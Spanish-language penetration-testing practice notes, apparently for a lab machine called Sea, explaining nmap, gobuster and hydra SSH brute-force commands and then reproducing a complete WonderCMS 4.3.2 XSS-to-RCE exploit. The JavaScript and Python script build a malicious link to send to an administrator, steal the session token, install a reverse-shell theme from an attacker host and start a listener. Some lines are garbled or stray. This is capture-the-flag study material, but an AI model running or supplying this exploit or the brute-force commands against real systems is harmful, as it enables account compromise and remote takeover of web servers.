COMANDOS UTILIZADOS DURANTE LA PRACTICA¶
nmap¶
nmap -Pn -sV -sS -sC -T4 -p- <ip>
-Pn--> no hace ping asume que el host esta activo
-sV--> Detecta las versiones de los servicios que están corriendo en los diferentes puertos
-sS--> Realiza un escaneo SYN (rápido y sigiloso)
-sC--> Ejecuta el script NSE (detección de vulnerabilidades)
-T4--> Aumenta la velocidad del escaneo
-p---> escanea todos los puertos
gobuster¶
busqueda de directorios y archivos a fuerza bruta
gobuster dir -u "http://172.17.0.2/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir : indica que ejecutara a gobuster en modo de búsqueda de archivos y directorios
hydra¶
esta herramienta es usado para hacer ataques de fuerza bruta para buscar contraseñas
hydra 172.17.0.2 ssh -s 22 -l borazuwarah -P /usr/share/wordlists/rockyou.txt -f -I -t 64
Donde:
sshes el protocolo del servicio-s22 es el puerto que usara-les el nombre del usuario-Pes el archivo donde buscara las contraseñas-findica que la búsqueda termine con la primera coincidencia que encuentre- -I
- -t tareas el numero de tareas que ejecutara en paralelo
Algunos comandos generales ¶
Este comando nos permite ver que permisos tenemos y que es lo que podemos ejecutar
sudo -l
Herramientas de extraccion de datos a partir de una imagen¶
UTILIDADES PARA MONTAR UN ENTORNO ORDENADO¶
witch mkt | bat -l bash
TTL¶
Identificando maquinas a partir del TTL¶
si el TTL es al rededor de los 128 entonces es una maquina windows, pero si es 64 es Linux
Maquina Sea¶
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP> -oG allPorts
Escaneo extenso a los puertos específicos¶
nmap -p<puertos> -sCV <IP> -oN targeted
resultados¶
cat targeted -l java
OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 launchpad y observamos que estamos ante un ubuntu Focal
- Abrir el /etc/hosts en caso de encontrar un dominio
Listando tecnologías¶
whatweb <dominio>
Enumerando subdominios¶
gobuster vhost -u <dominio> -w <ruta diccionario> -t 200 --append-domain -r # se recomienda el diccionario de Seclist
- ruta diccionario
/usr/share/Seclist/Discovery/DNS/*
var url = "http://sea.htb/wondercms?page=index.php";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev =
"http://sea.htb/wondercms/?installModule=http://10.10.14.51:8000/revshell-main.zip&directoryName=violet&type=themes&token=" +
token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function () {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function () {
if (xhr4.status == 200) {
var ip = "10.10.14.51";
var port = "1234";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open(
"GET",
urlWithoutLogBase +
"/themes/revshell-main/rev.php?lhost=" +
ip +
"&lport=" +
port
);
xhr5.send();
}
};
}
};
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = "http://sea.htb/wondercms/?installModule=http://{your ip}:8000/revshell-main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
sql_injection_success